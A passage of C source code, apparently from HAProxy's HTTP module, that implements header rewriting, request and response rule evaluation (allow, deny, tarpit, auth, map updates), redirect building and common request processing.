return -2;
return exp_replace(dst, dst_size, val, rep_str, pmatch);
}
/* Returns the number of characters written to destination,
* -1 on internal error and -2 if no replacement took place.
*/
static int http_replace_value(struct my_regex *re, char *dst, uint dst_size, char *val, int len, char delim,
const char *rep_str)
{
char* p = val;
char* dst_end = dst + dst_size;
char* dst_p = dst;
for (;;) {
char *p_delim;
/* look for delim. */
p_delim = p;
while (p_delim < p + len && *p_delim != delim)
p_delim++;
if (regex_exec_match2(re, p, p_delim-p, MAX_MATCH, pmatch)) {
int replace_n = exp_replace(dst_p, dst_end - dst_p, p, rep_str, pmatch);
if (replace_n < 0)
return -1;
dst_p += replace_n;
} else {
uint len = p_delim - p;
if (dst_p + len >= dst_end)
return -1;
memcpy(dst_p, p, len);
dst_p += len;
}
if (dst_p >= dst_end)
return -1;
/* end of the replacements. */
if (p_delim >= p + len)
break;
/* Next part. */
*dst_p++ = delim;
p = p_delim + 1;
}
return dst_p - dst;
}
static int http_transform_header(struct session* s, struct http_msg *msg, const char* name, uint name_len,
char* buf, struct hdr_idx* idx, struct list *fmt, struct my_regex *re,
struct hdr_ctx* ctx, int action)
{
ctx->idx = 0;
while (http_find_full_header2(name, name_len, buf, idx, ctx)) {
struct hdr_idx_elem *hdr = idx->v + ctx->idx;
int delta;
char* val = (char*)ctx->line + name_len + 2;
char* val_end = (char*)ctx->line + hdr->len;
char* reg_dst_buf;
uint reg_dst_buf_size;
int n_replaced;
trash.len = build_logline(s, trash.str, trash.size, fmt);
if (trash.len >= trash.size - 1)
return -1;
reg_dst_buf = trash.str + trash.len + 1;
reg_dst_buf_size = trash.size - trash.len - 1;
switch (action) {
case HTTP_REQ_ACT_REPLACE_VAL:
case HTTP_RES_ACT_REPLACE_VAL:
n_replaced = http_replace_value(re, reg_dst_buf, reg_dst_buf_size, val, val_end-val, ',', trash.str);
break;
case HTTP_REQ_ACT_REPLACE_HDR:
case HTTP_RES_ACT_REPLACE_HDR:
n_replaced = http_replace_header(re, reg_dst_buf, reg_dst_buf_size, val, val_end-val, trash.str);
break;
default: /* impossible */
return -1;
}
switch (n_replaced) {
case -1: return -1;
case -2: continue;
}
delta = buffer_replace2(msg->chn->buf, val, val_end, reg_dst_buf, n_replaced);
hdr->len += delta;
http_msg_move_end(msg, delta);
}
return 0;
}
/* Executes the http-request rules <rules> for session <s>, proxy <px> and
* transaction <txn>. Returns the verdict of the first rule that prevents
* further processing of the request (auth, deny, ...), and defaults to
* HTTP_RULE_RES_STOP if it executed all rules or stopped on an allow, or
* HTTP_RULE_RES_CONT if the last rule was reached. It may set the TX_CLTARPIT
* on txn->flags if it encounters a tarpit rule.
*/
enum rule_result
http_req_get_intercept_rule(struct proxy *px, struct list *rules, struct session *s, struct http_txn *txn)
{
struct connection *cli_conn;
struct http_req_rule *rule;
struct hdr_ctx ctx;
const char *auth_realm;
list_for_each_entry(rule, rules, list) {
if (rule->action >= HTTP_REQ_ACT_MAX)
continue;
/* check optional condition */
if (rule->cond) {
int ret;
ret = acl_exec_cond(rule->cond, px, s, txn, SMP_OPT_DIR_REQ|SMP_OPT_FINAL);
ret = acl_pass(ret);
if (rule->cond->pol == ACL_COND_UNLESS)
ret = !ret;
if (!ret) /* condition not matched */
continue;
}
switch (rule->action) {
case HTTP_REQ_ACT_ALLOW:
return HTTP_RULE_RES_STOP;
case HTTP_REQ_ACT_DENY:
return HTTP_RULE_RES_DENY;
case HTTP_REQ_ACT_TARPIT:
txn->flags |= TX_CLTARPIT;
return HTTP_RULE_RES_DENY;
case HTTP_REQ_ACT_AUTH:
/* Auth might be performed on regular http-req rules as well as on stats */
auth_realm = rule->arg.auth.realm;
if (!auth_realm) {
if (px->uri_auth && rules == &px->uri_auth->http_req_rules)
auth_realm = STATS_DEFAULT_REALM;
else
auth_realm = px->id;
}
/* send 401/407 depending on whether we use a proxy or not. We still
* count one error, because normal browsing won't significantly
* increase the counter but brute force attempts will.
*/
chunk_printf(&trash, (txn->flags & TX_USE_PX_CONN) ? HTTP_407_fmt : HTTP_401_fmt, auth_realm);
txn->status = (txn->flags & TX_USE_PX_CONN) ? 407 : 401;
stream_int_retnclose(&s->si[0], &trash);
session_inc_http_err_ctr(s);
return HTTP_RULE_RES_ABRT;
case HTTP_REQ_ACT_REDIR:
if (!http_apply_redirect_rule(rule->arg.redir, s, txn))
return HTTP_RULE_RES_BADREQ;
return HTTP_RULE_RES_DONE;
case HTTP_REQ_ACT_SET_NICE:
s->task->nice = rule->arg.nice;
break;
case HTTP_REQ_ACT_SET_TOS:
if ((cli_conn = objt_conn(s->req->prod->end)) && conn_ctrl_ready(cli_conn))
inet_set_tos(cli_conn->t.sock.fd, cli_conn->addr.from, rule->arg.tos);
break;
case HTTP_REQ_ACT_SET_MARK:
#ifdef SO_MARK
if ((cli_conn = objt_conn(s->req->prod->end)) && conn_ctrl_ready(cli_conn))
setsockopt(cli_conn->t.sock.fd, SOL_SOCKET, SO_MARK, &rule->arg.mark, sizeof(rule->arg.mark));
#endif
break;
case HTTP_REQ_ACT_SET_LOGL:
s->logs.level = rule->arg.loglevel;
break;
case HTTP_REQ_ACT_REPLACE_HDR:
case HTTP_REQ_ACT_REPLACE_VAL:
if (http_transform_header(s, &txn->req, rule->arg.hdr_add.name, rule->arg.hdr_add.name_len,
txn->req.chn->buf->p, &txn->hdr_idx, &rule->arg.hdr_add.fmt,
&rule->arg.hdr_add.re, &ctx, rule->action))
return HTTP_RULE_RES_BADREQ;
break;
case HTTP_REQ_ACT_DEL_HDR:
case HTTP_REQ_ACT_SET_HDR:
ctx.idx = 0;
/* remove all occurrences of the header */
while (http_find_header2(rule->arg.hdr_add.name, rule->arg.hdr_add.name_len,
txn->req.chn->buf->p, &txn->hdr_idx, &ctx)) {
http_remove_header2(&txn->req, &txn->hdr_idx, &ctx);
}
if (rule->action == HTTP_REQ_ACT_DEL_HDR)
break;
/* now fall through to header addition */
case HTTP_REQ_ACT_ADD_HDR:
chunk_printf(&trash, "%s: ", rule->arg.hdr_add.name);
memcpy(trash.str, rule->arg.hdr_add.name, rule->arg.hdr_add.name_len);
trash.len = rule->arg.hdr_add.name_len;
trash.str[trash.len++] = ':';
trash.str[trash.len++] = ' ';
trash.len += build_logline(s, trash.str + trash.len, trash.size - trash.len, &rule->arg.hdr_add.fmt);
http_header_add_tail2(&txn->req, &txn->hdr_idx, trash.str, trash.len);
break;
case HTTP_REQ_ACT_DEL_ACL:
case HTTP_REQ_ACT_DEL_MAP: {
struct pat_ref *ref;
char *key;
int len;
/* collect reference */
ref = pat_ref_lookup(rule->arg.map.ref);
if (!ref)
continue;
/* collect key */
len = build_logline(s, trash.str, trash.size, &rule->arg.map.key);
key = trash.str;
key[len] = '\0';
/* perform update */
/* returned code: 1=ok, 0=ko */
pat_ref_delete(ref, key);
break;
}
case HTTP_REQ_ACT_ADD_ACL: {
struct pat_ref *ref;
char *key;
struct chunk *trash_key;
int len;
trash_key = get_trash_chunk();
/* collect reference */
ref = pat_ref_lookup(rule->arg.map.ref);
if (!ref)
continue;
/* collect key */
len = build_logline(s, trash_key->str, trash_key->size, &rule->arg.map.key);
key = trash_key->str;
key[len] = '\0';
/* perform update */
/* add entry only if it does not already exist */
if (pat_ref_find_elt(ref, key) == NULL)
pat_ref_add(ref, key, NULL, NULL);
break;
}
case HTTP_REQ_ACT_SET_MAP: {
struct pat_ref *ref;
char *key, *value;
struct chunk *trash_key, *trash_value;
int len;
trash_key = get_trash_chunk();
trash_value = get_trash_chunk();
/* collect reference */
ref = pat_ref_lookup(rule->arg.map.ref);
if (!ref)
continue;
/* collect key */
len = build_logline(s, trash_key->str, trash_key->size, &rule->arg.map.key);
key = trash_key->str;
key[len] = '\0';
/* collect value */
len = build_logline(s, trash_value->str, trash_value->size, &rule->arg.map.value);
value = trash_value->str;
value[len] = '\0';
/* perform update */
if (pat_ref_find_elt(ref, key) != NULL)
/* update entry if it exists */
pat_ref_set(ref, key, value, NULL);
else
/* insert a new entry */
pat_ref_add(ref, key, value, NULL);
break;
}
case HTTP_REQ_ACT_CUSTOM_CONT:
rule->action_ptr(rule, px, s, txn);
break;
case HTTP_REQ_ACT_CUSTOM_STOP:
rule->action_ptr(rule, px, s, txn);
return HTTP_RULE_RES_DONE;
}
}
/* we reached the end of the rules, nothing to report */
return HTTP_RULE_RES_CONT;
}
/* Executes the http-response rules <rules> for session <s>, proxy <px> and
* transaction <txn>. Returns the first rule that prevents further processing
* of the response (deny, ...) or NULL if it executed all rules or stopped
* on an allow. It may set the TX_SVDENY on txn->flags if it encounters a deny
* rule.
*/
static struct http_res_rule *
http_res_get_intercept_rule(struct proxy *px, struct list *rules, struct session *s, struct http_txn *txn)
{
struct connection *cli_conn;
struct http_res_rule *rule;
struct hdr_ctx ctx;
list_for_each_entry(rule, rules, list) {
if (rule->action >= HTTP_RES_ACT_MAX)
continue;
/* check optional condition */
if (rule->cond) {
int ret;
ret = acl_exec_cond(rule->cond, px, s, txn, SMP_OPT_DIR_RES|SMP_OPT_FINAL);
ret = acl_pass(ret);
if (rule->cond->pol == ACL_COND_UNLESS)
ret = !ret;
if (!ret) /* condition not matched */
continue;
}
switch (rule->action) {
case HTTP_RES_ACT_ALLOW:
return NULL; /* "allow" rules are OK */
case HTTP_RES_ACT_DENY:
txn->flags |= TX_SVDENY;
return rule;
case HTTP_RES_ACT_SET_NICE:
s->task->nice = rule->arg.nice;
break;
case HTTP_RES_ACT_SET_TOS:
if ((cli_conn = objt_conn(s->req->prod->end)) && conn_ctrl_ready(cli_conn))
inet_set_tos(cli_conn->t.sock.fd, cli_conn->addr.from, rule->arg.tos);
break;
case HTTP_RES_ACT_SET_MARK:
#ifdef SO_MARK
if ((cli_conn = objt_conn(s->req->prod->end)) && conn_ctrl_ready(cli_conn))
setsockopt(cli_conn->t.sock.fd, SOL_SOCKET, SO_MARK, &rule->arg.mark, sizeof(rule->arg.mark));
#endif
break;
case HTTP_RES_ACT_SET_LOGL:
s->logs.level = rule->arg.loglevel;
break;
case HTTP_RES_ACT_REPLACE_HDR:
case HTTP_RES_ACT_REPLACE_VAL:
if (http_transform_header(s, &txn->rsp, rule->arg.hdr_add.name, rule->arg.hdr_add.name_len,
txn->rsp.chn->buf->p, &txn->hdr_idx, &rule->arg.hdr_add.fmt,
&rule->arg.hdr_add.re, &ctx, rule->action))
return NULL; /* note: we should report an error here */
break;
case HTTP_RES_ACT_DEL_HDR:
case HTTP_RES_ACT_SET_HDR:
ctx.idx = 0;
/* remove all occurrences of the header */
while (http_find_header2(rule->arg.hdr_add.name, rule->arg.hdr_add.name_len,
txn->rsp.chn->buf->p, &txn->hdr_idx, &ctx)) {
http_remove_header2(&txn->rsp, &txn->hdr_idx, &ctx);
}
if (rule->action == HTTP_RES_ACT_DEL_HDR)
break;
/* now fall through to header addition */
case HTTP_RES_ACT_ADD_HDR:
chunk_printf(&trash, "%s: ", rule->arg.hdr_add.name);
memcpy(trash.str, rule->arg.hdr_add.name, rule->arg.hdr_add.name_len);
trash.len = rule->arg.hdr_add.name_len;
trash.str[trash.len++] = ':';
trash.str[trash.len++] = ' ';
trash.len += build_logline(s, trash.str + trash.len, trash.size - trash.len, &rule->arg.hdr_add.fmt);
http_header_add_tail2(&txn->rsp, &txn->hdr_idx, trash.str, trash.len);
break;
case HTTP_RES_ACT_DEL_ACL:
case HTTP_RES_ACT_DEL_MAP: {
struct pat_ref *ref;
char *key;
int len;
/* collect reference */
ref = pat_ref_lookup(rule->arg.map.ref);
if (!ref)
continue;
/* collect key */
len = build_logline(s, trash.str, trash.size, &rule->arg.map.key);
key = trash.str;
key[len] = '\0';
/* perform update */
/* returned code: 1=ok, 0=ko */
pat_ref_delete(ref, key);
break;
}
case HTTP_RES_ACT_ADD_ACL: {
struct pat_ref *ref;
char *key;
struct chunk *trash_key;
int len;
trash_key = get_trash_chunk();
/* collect reference */
ref = pat_ref_lookup(rule->arg.map.ref);
if (!ref)
continue;
/* collect key */
len = build_logline(s, trash_key->str, trash_key->size, &rule->arg.map.key);
key = trash_key->str;
key[len] = '\0';
/* perform update */
/* check if the entry already exists */
if (pat_ref_find_elt(ref, key) == NULL)
pat_ref_add(ref, key, NULL, NULL);
break;
}
case HTTP_RES_ACT_SET_MAP: {
struct pat_ref *ref;
char *key, *value;
struct chunk *trash_key, *trash_value;
int len;
trash_key = get_trash_chunk();
trash_value = get_trash_chunk();
/* collect reference */
ref = pat_ref_lookup(rule->arg.map.ref);
if (!ref)
continue;
/* collect key */
len = build_logline(s, trash_key->str, trash_key->size, &rule->arg.map.key);
key = trash_key->str;
key[len] = '\0';
/* collect value */
len = build_logline(s, trash_value->str, trash_value->size, &rule->arg.map.value);
value = trash_value->str;
value[len] = '\0';
/* perform update */
if (pat_ref_find_elt(ref, key) != NULL)
/* update entry if it exists */
pat_ref_set(ref, key, value, NULL);
else
/* insert a new entry */
pat_ref_add(ref, key, value, NULL);
break;
}
case HTTP_RES_ACT_CUSTOM_CONT:
rule->action_ptr(rule, px, s, txn);
break;
case HTTP_RES_ACT_CUSTOM_STOP:
rule->action_ptr(rule, px, s, txn);
return rule;
}
}
/* we reached the end of the rules, nothing to report */
return NULL;
}
/* Perform an HTTP redirect based on the information in <rule>. The function
* returns non-zero on success, or zero in case of a, irrecoverable error such
* as too large a request to build a valid response.
*/
static int http_apply_redirect_rule(struct redirect_rule *rule, struct session *s, struct http_txn *txn)
{
struct http_msg *msg = &txn->req;
const char *msg_fmt;
const char *location;
/* build redirect message */
switch(rule->code) {
case 308:
msg_fmt = HTTP_308;
break;
case 307:
msg_fmt = HTTP_307;
break;
case 303:
msg_fmt = HTTP_303;
break;
case 301:
msg_fmt = HTTP_301;
break;
case 302:
default:
msg_fmt = HTTP_302;
break;
}
if (unlikely(!chunk_strcpy(&trash, msg_fmt)))
return 0;
location = trash.str + trash.len;
switch(rule->type) {
case REDIRECT_TYPE_SCHEME: {
const char *path;
const char *host;
struct hdr_ctx ctx;
int pathlen;
int hostlen;
host = "";
hostlen = 0;
ctx.idx = 0;
if (http_find_header2("Host", 4, txn->req.chn->buf->p, &txn->hdr_idx, &ctx)) {
host = ctx.line + ctx.val;
hostlen = ctx.vlen;
}
path = http_get_path(txn);
/* build message using path */
if (path) {
pathlen = txn->req.sl.rq.u_l + (txn->req.chn->buf->p + txn->req.sl.rq.u) - path;
if (rule->flags & REDIRECT_FLAG_DROP_QS) {
int qs = 0;
while (qs < pathlen) {
if (path[qs] == '?') {
pathlen = qs;
break;
}
qs++;
}
}
} else {
path = "/";
pathlen = 1;
}
if (rule->rdr_str) { /* this is an old "redirect" rule */
/* check if we can add scheme + "://" + host + path */
if (trash.len + rule->rdr_len + 3 + hostlen + pathlen > trash.size - 4)
return 0;
/* add scheme */
memcpy(trash.str + trash.len, rule->rdr_str, rule->rdr_len);
trash.len += rule->rdr_len;
}
else {
/* add scheme with executing log format */
trash.len += build_logline(s, trash.str + trash.len, trash.size - trash.len, &rule->rdr_fmt);
/* check if we can add scheme + "://" + host + path */
if (trash.len + 3 + hostlen + pathlen > trash.size - 4)
return 0;
}
/* add "://" */
memcpy(trash.str + trash.len, "://", 3);
trash.len += 3;
/* add host */
memcpy(trash.str + trash.len, host, hostlen);
trash.len += hostlen;
/* add path */
memcpy(trash.str + trash.len, path, pathlen);
trash.len += pathlen;
/* append a slash at the end of the location if needed and missing */
if (trash.len && trash.str[trash.len - 1] != '/' &&
(rule->flags & REDIRECT_FLAG_APPEND_SLASH)) {
if (trash.len > trash.size - 5)
return 0;
trash.str[trash.len] = '/';
trash.len++;
}
break;
}
case REDIRECT_TYPE_PREFIX: {
const char *path;
int pathlen;
path = http_get_path(txn);
/* build message using path */
if (path) {
pathlen = txn->req.sl.rq.u_l + (txn->req.chn->buf->p + txn->req.sl.rq.u) - path;
if (rule->flags & REDIRECT_FLAG_DROP_QS) {
int qs = 0;
while (qs < pathlen) {
if (path[qs] == '?') {
pathlen = qs;
break;
}
qs++;
}
}
} else {
path = "/";
pathlen = 1;
}
if (rule->rdr_str) { /* this is an old "redirect" rule */
if (trash.len + rule->rdr_len + pathlen > trash.size - 4)
return 0;
/* add prefix. Note that if prefix == "/", we don't want to
* add anything, otherwise it makes it hard for the user to
* configure a self-redirection.
*/
if (rule->rdr_len != 1 || *rule->rdr_str != '/') {
memcpy(trash.str + trash.len, rule->rdr_str, rule->rdr_len);
trash.len += rule->rdr_len;
}
}
else {
/* add prefix with executing log format */
trash.len += build_logline(s, trash.str + trash.len, trash.size - trash.len, &rule->rdr_fmt);
/* Check length */
if (trash.len + pathlen > trash.size - 4)
return 0;
}
/* add path */
memcpy(trash.str + trash.len, path, pathlen);
trash.len += pathlen;
/* append a slash at the end of the location if needed and missing */
if (trash.len && trash.str[trash.len - 1] != '/' &&
(rule->flags & REDIRECT_FLAG_APPEND_SLASH)) {
if (trash.len > trash.size - 5)
return 0;
trash.str[trash.len] = '/';
trash.len++;
}
break;
}
case REDIRECT_TYPE_LOCATION:
default:
if (rule->rdr_str) { /* this is an old "redirect" rule */
if (trash.len + rule->rdr_len > trash.size - 4)
return 0;
/* add location */
memcpy(trash.str + trash.len, rule->rdr_str, rule->rdr_len);
trash.len += rule->rdr_len;
}
else {
/* add location with executing log format */
trash.len += build_logline(s, trash.str + trash.len, trash.size - trash.len, &rule->rdr_fmt);
/* Check left length */
if (trash.len > trash.size - 4)
return 0;
}
break;
}
if (rule->cookie_len) {
memcpy(trash.str + trash.len, "\r\nSet-Cookie: ", 14);
trash.len += 14;
memcpy(trash.str + trash.len, rule->cookie_str, rule->cookie_len);
trash.len += rule->cookie_len;
memcpy(trash.str + trash.len, "\r\n", 2);
trash.len += 2;
}
/* add end of headers and the keep-alive/close status.
* We may choose to set keep-alive if the Location begins
* with a slash, because the client will come back to the
* same server.
*/
txn->status = rule->code;
/* let's log the request time */
s->logs.tv_request = now;
if (*location == '/' &&
(msg->flags & HTTP_MSGF_XFER_LEN) &&
!(msg->flags & HTTP_MSGF_TE_CHNK) && !txn->req.body_len &&
((txn->flags & TX_CON_WANT_MSK) == TX_CON_WANT_SCL ||
(txn->flags & TX_CON_WANT_MSK) == TX_CON_WANT_KAL)) {
/* keep-alive possible */
if (!(msg->flags & HTTP_MSGF_VER_11)) {
if (unlikely(txn->flags & TX_USE_PX_CONN)) {
memcpy(trash.str + trash.len, "\r\nProxy-Connection: keep-alive", 30);
trash.len += 30;
} else {
memcpy(trash.str + trash.len, "\r\nConnection: keep-alive", 24);
trash.len += 24;
}
}
memcpy(trash.str + trash.len, "\r\n\r\n", 4);
trash.len += 4;
bo_inject(txn->rsp.chn, trash.str, trash.len);
/* "eat" the request */
bi_fast_delete(txn->req.chn->buf, msg->sov);
msg->next -= msg->sov;
msg->sov = 0;
txn->req.chn->analysers = AN_REQ_HTTP_XFER_BODY;
s->rep->analysers = AN_RES_HTTP_XFER_BODY;
txn->req.msg_state = HTTP_MSG_CLOSED;
txn->rsp.msg_state = HTTP_MSG_DONE;
} else {
/* keep-alive not possible */
if (unlikely(txn->flags & TX_USE_PX_CONN)) {
memcpy(trash.str + trash.len, "\r\nProxy-Connection: close\r\n\r\n", 29);
trash.len += 29;
} else {
memcpy(trash.str + trash.len, "\r\nConnection: close\r\n\r\n", 23);
trash.len += 23;
}
stream_int_retnclose(txn->req.chn->prod, &trash);
txn->req.chn->analysers = 0;
}
if (!(s->flags & SN_ERR_MASK))
s->flags |= SN_ERR_LOCAL;
if (!(s->flags & SN_FINST_MASK))
s->flags |= SN_FINST_R;
return 1;
}
/* This stream analyser runs all HTTP request processing which is common to
* frontends and backends, which means blocking ACLs, filters, connection-close,
* reqadd, stats and redirects. This is performed for the designated proxy.
* It returns 1 if the processing can continue on next analysers, or zero if it
* either needs more data or wants to immediately abort the request (eg: deny,
* error, ...).
*/
int http_process_req_common(struct session *s, struct channel *req, int an_bit, struct proxy *px)
{
struct http_txn *txn = &s->txn;
struct http_msg *msg = &txn->req;
struct redirect_rule *rule;
struct cond_wordlist *wl;
enum rule_result verdict;
if (unlikely(msg->msg_state < HTTP_MSG_BODY)) {
/* we need more data */
channel_dont_connect(req);
return 0;
}
DPRINTF(stderr,"[%u] %s: session=%p b=%p, exp(r,w)=%u,%u bf=%08x bh=%d analysers=%02x\n",
now_ms, __FUNCTION__,
s,
req,
req->rex, req->wex,
req->flags,
req->buf->i,
req->analysers);
/* just in case we have some per-backend tracking */
session_inc_be_http_req_ctr(s);
/* evaluate http-request rules */
if (!LIST_ISEMPTY(&px->http_req_rules)) {
verdict = http_req_get_intercept_rule(px, &px->http_req_rules, s, txn);
switch (verdict) {
case HTTP_RULE_RES_CONT:
case HTTP_RULE_RES_STOP: /* nothing to do */
break;
case HTTP_RULE_RES_DENY: /* deny or tarpit */
if (txn->flags & TX_CLTARPIT)
goto tarpit;
goto deny;
case HTTP_RULE_RES_ABRT: /* abort request, response already sent. Eg: auth */
goto return_prx_cond;
case HTTP_RULE_RES_DONE: /* OK, but terminate request processing (eg: redirect) */
goto done;
case HTTP_RULE_RES_BADREQ: /* failed with a bad request */
goto return_bad_req;
}
}
/* OK at this stage, we know that the request was accepted according to
* the http-request rules, we can check for the stats. Note that the
* URI is detected *before* the req* rules in order not to be affected
* by a possible reqrep, while they are processed *after* so that a
* reqdeny can still block them. This clearly needs to change in 1.6!
*/
if (stats_check_uri(s->rep->prod, txn, px)) {
s->target = &http_stats_applet.obj_type;
if (unlikely(!stream_int_register_handler(s->rep->prod, objt_applet(s->target)))) {
txn->status = 500;
s->logs.tv_request = now;
stream_int_retnclose(req->prod, http_error_message(s, HTTP_ERR_500));
if (!(s->flags & SN_ERR_MASK))
s->flags |= SN_ERR_RESOURCE;
goto return_prx_cond;
}
/* parse the whole stats request and extract the relevant information */
http_handle_stats(s, req);
verdict = http_req_get_intercept_rule(px, &px->uri_auth->http_req_rules, s, txn);
/* not all actions implemented: deny, allow, auth */
if (verdict == HTTP_RULE_RES_DENY) /* stats http-request deny */
goto deny;
if (verdict == HTTP_RULE_RES_ABRT) /* stats auth / stats http-request auth */
goto return_prx_cond;
}
/* evaluate the req* rules except reqadd */
if (px->req_exp != NULL) {
if (apply_filters_to_request(s, req, px) < 0)
goto return_bad_req;
if (txn->flags & TX_CLDENY)
goto deny;
if (txn->flags & TX_CLTARPIT)
goto tarpit;
}
/* add request headers from the rule sets in the same order */
list_for_each_entry(wl, &px->req_add, list) {
if (wl->cond) {
int ret = acl_exec_cond(wl->cond, px, s, txn, SMP_OPT_DIR_REQ|SMP_OPT_FINAL);
ret = acl_pass(ret);
if (((struct acl_cond *)wl->cond)->pol == ACL_COND_UNLESS)
ret = !ret;
if (!ret)
continue;
}
if (unlikely(http_header_add_tail(&txn->req, &txn->hdr_idx, wl->s) < 0))
goto return_bad_req;
}
/* Proceed with the stats now. */
if (unlikely(objt_applet(s->target) == &http_stats_applet)) {
/* process the stats request now */
if (s->fe == s->be) /* report it if the request was intercepted by the frontend */
s->fe->fe_counters.intercepted_req++;
if (!(s->flags & SN_ERR_MASK)) // this is not really an error but it is
s->flags |= SN_ERR_LOCAL; // to mark that it comes from the proxy
if (!(s->flags & SN_FINST_MASK))
s->flags |= SN_FINST_R;
/* we may want to compress the stats page */
if (s->fe->comp || s->be->comp)
select_compression_request_header(s, req->buf);
/* enable the minimally required analyzers to handle keep-alive and compression on the HTTP response */
req->analysers = (req->analysers & AN_REQ_HTTP_BODY) |
AN_REQ_HTTP_XFER_BODY | AN_RES_WAIT_HTTP | AN_RES_HTTP_PROCESS_BE | AN_RES_HTTP_XFER_BODY;
goto done;
}
/* check whether we have some ACLs set to redirect this request */
list_for_each_entry(rule, &px->redirect_rules, list) {
if (rule->cond) {
int ret;
ret = acl_exec_cond(rule->cond, px, s, txn, SMP_OPT_DIR_REQ|SMP_OPT_FINAL);
ret = acl_pass(ret);
if (rule->cond->pol == ACL_COND_UNLESS)
ret = !ret;
if (!ret)
continue;
}
if (!http_apply_redirect_rule(rule, s, txn))
goto return_bad_req;
goto done;
}
/* POST requests may be accompanied with an "Expect: 100-Continue" header.
* If this happens, then the data will not come immediately, so we must
* send all what we have without waiting. Note that due to the small gain
* in waiting for the body of the request, it's easier to simply put the
* CF_SEND_DONTWAIT flag any time. It's a one-shot flag so it will remove
* itself once used.
*/
req->flags |= CF_SEND_DONTWAIT;
done: /* done with this analyser, continue with next ones that the calling
* points will have set, if any.
*/
req->analyse_exp = TICK_ETERNITY;
done_without_exp: /* done with this analyser, but dont reset the analyse_exp. */
req->analysers &= ~an_bit;
return 1;
tarpit:
/* When a connection is tarpitted, we use the tarpit timeout,
* which may be the same as the connect timeout if unspecified.
* If unset, then set it to zero because we really want it to
* eventually expire. We build the tarpit as an analyser.
*/
channel_erase(s->req);
/* wipe the request out so that we can drop the connection early
* if the client closes first.
*/
channel_dont_connect(req);
req->analysers = 0; /* remove switching rules etc... */
req->analysers |= AN_REQ_HTTP_TARPIT;
req->analyse_exp = tick_add_ifset(now_ms, s->be->timeout.tarpit);
if (!req->analyse_exp)
req->analyse_exp = tick_add(now_ms, 0);
session_inc_http_err_ctr(s);
s->fe->fe_counters.denied_req++;
if (s->fe != s->be)
s->be->be_counters.denied_req++;
if (s->listener->counters)
s->listener->counters->denied_req++;
goto done_without_exp;
deny: /* this request was blocked (denied) */
txn->flags |= TX_CLDENY;
txn->status = 403;
s->logs.tv_request = now;
stream_int_retnclose(req->prod, http_error_message(s, HTTP_ERR_403));
session_inc_http_err_ctr(s);
s->fe->fe_counters.denied_req++;
if (s->fe != s->be)
s->be->be_counters.denied_req++;
if (s->listener->counters)
s->listener->counters->denied_req++;
goto return_prx_cond;
return_bad_req:
/* We centralize bad requests processing here */
if (unlikely(msg->msg_state == HTTP_MSG_ERROR) || msg->err_pos >= 0) {
/* we detected a parsing error. We want to archive this request
* in the dedicated proxy area for later troubleshooting.
*/
http_capture_bad_message(&s->fe->invalid_req, s, msg, msg->msg_state, s->fe);
}
txn->req.msg_state = HTTP_MSG_ERROR;
txn->status = 400;
stream_int_retnclose(req->prod, http_error_message(s, HTTP_ERR_400));
s->fe->fe_counters.failed_req++;
if (s->listener->counters)
s->listener->counters->failed_req++;
return_prx_cond:
if (!(s->flags & SN_ERR_MASK))
s->flags |= SN_ERR_PRXCOND;
if (!(s->flags & SN_FINST_MASK))
s->flags |= SN_FINST_R;
req->analysers = 0;
req->analyse_exp = TICK_ETERNITY;
return 0;
}
/* This function performs all the processing enabled for the current request.
* It returns 1 if the processing can continue on next analysers, or zero if it
* needs more data, encounters an error, or wants to immediately abort the
* request. It relies on buffers flags, and updates s->req->analysers.
*/
int http_process_request(struct session *s, struct channel *req, int an_bit)
{
struct http_txn *txn = &s->txn;
struct http_msg *msg = &txn->req;
struct connection *cli_conn = objt_conn(req->prod->end);
if (unlikely(msg->msg_state < HTTP_MSG_BODY)) {
/* we need more data */
channel_dont_connect(req);
return 0;
}
DPRINTF(stderr,"[%u] %s: session=%p b=%p, exp(r,w)=%u,%u bf=%08x bh=%d analysers=%02x\n",
now_ms, __FUNCTION__,
s,
req,
req->rex, req->wex,
req->flags,
req->buf->i,
req->analysers);
if (s->fe->comp || s->be->comp)
select_compression_request_header(s, req->buf);
/*
* Right now, we know that we have processed the entire headers
* and that unwanted requests have been filtered out. We can do
* whatever we want with the remaining request. Also, now we
* may have separate values for ->fe, ->be.
*/
/*
* If HTTP PROXY is set we simply get remote server address parsing
* incoming request. Note that this requires that a connection is
* allocated on the server side.
*/
if ((s->be->options & PR_O_HTTP_PROXY) && !(s->flags & SN_ADDR_SET)) {
struct connection *conn;
char *path;
/* Note that for now we don't reuse existing proxy connections */
if (unlikely((conn = si_alloc_conn(req->cons, 0)) == NULL)) {
txn->req.msg_state = HTTP_MSG_ERROR;
txn->status = 500;
req->analysers = 0;
stream_int_retnclose(req->prod, http_error_message(s, HTTP_ERR_500));
if (!(s->flags & SN_ERR_MASK))
s->flags |= SN_ERR_RESOURCE;
if (!(s->flags & SN_FINST_MASK))
s->flags |= SN_FINST_R;
return 0;
}
path = http_get_path(txn);
url2sa(req->buf->p + msg->sl.rq.u,
path ? path - (req->buf->p + msg->sl.rq.u) : msg->sl.rq.u_l,
&conn->addr.to, NULL);
/* if the path was found, we have to remove everything between
* req->buf->p + msg->sl.rq.u and path (excluded). If it was not
* found, we need to replace from req->buf->p + msg->sl.rq.u for
* u_l characters by a single "/".
*/
if (path) {
char *cur_ptr = req->buf->p;
char *cur_end = cur_ptr + txn->req.sl.rq.l;
int delta;
delta = buffer_replace2(req->buf, req->buf->p + msg->sl.rq.u, path, NULL, 0);
http_msg_move_end(&txn->req, delta);
cur_end += delta;
if (http_parse_reqline(&txn->req, HTTP_MSG_RQMETH, cur_ptr, cur_end + 1, NULL, NULL) == NULL)
goto return_bad_req;
}
else {
char *cur_ptr = req->buf->p;
char *cur_end = cur_ptr + txn->req.sl.rq.l;
int delta;
delta = buffer_replace2(req->buf, req->buf->p + msg->sl.rq.u,
req->buf->p + msg->sl.rq.u + msg->sl.rq.u_l, "/", 1);
http_msg_move_end(&txn->req, delta);
cur_end += delta;
if (http_parse_reqline(&txn->req, HTTP_MSG_RQMETH, cur_ptr, cur_end + 1, NULL, NULL) == NULL)
goto return_bad_req;
}
}
/*
* 7: Now we can work with the cookies.
* Note that doing so might move headers in the request, but
* the fields will stay coherent and the URI will not move.
* This should only be performed in the backend.
*/
if ((s->be->cookie_name || s->be->appsession_name || s->fe->capture_name)
&& !(txn->flags & (TX_CLDENY|TX_CLTARPIT)))
manage_client_side_cookies(s, req);
/*
* 8: the appsession cookie was looked up very early in 1.2,
* so let's do the same now.
*/
/* It needs to look into the URI unless persistence must be ignored */
if ((txn->sessid == NULL) && s->be->appsession_name && !(s->flags & SN_IGNORE_PRST)) {
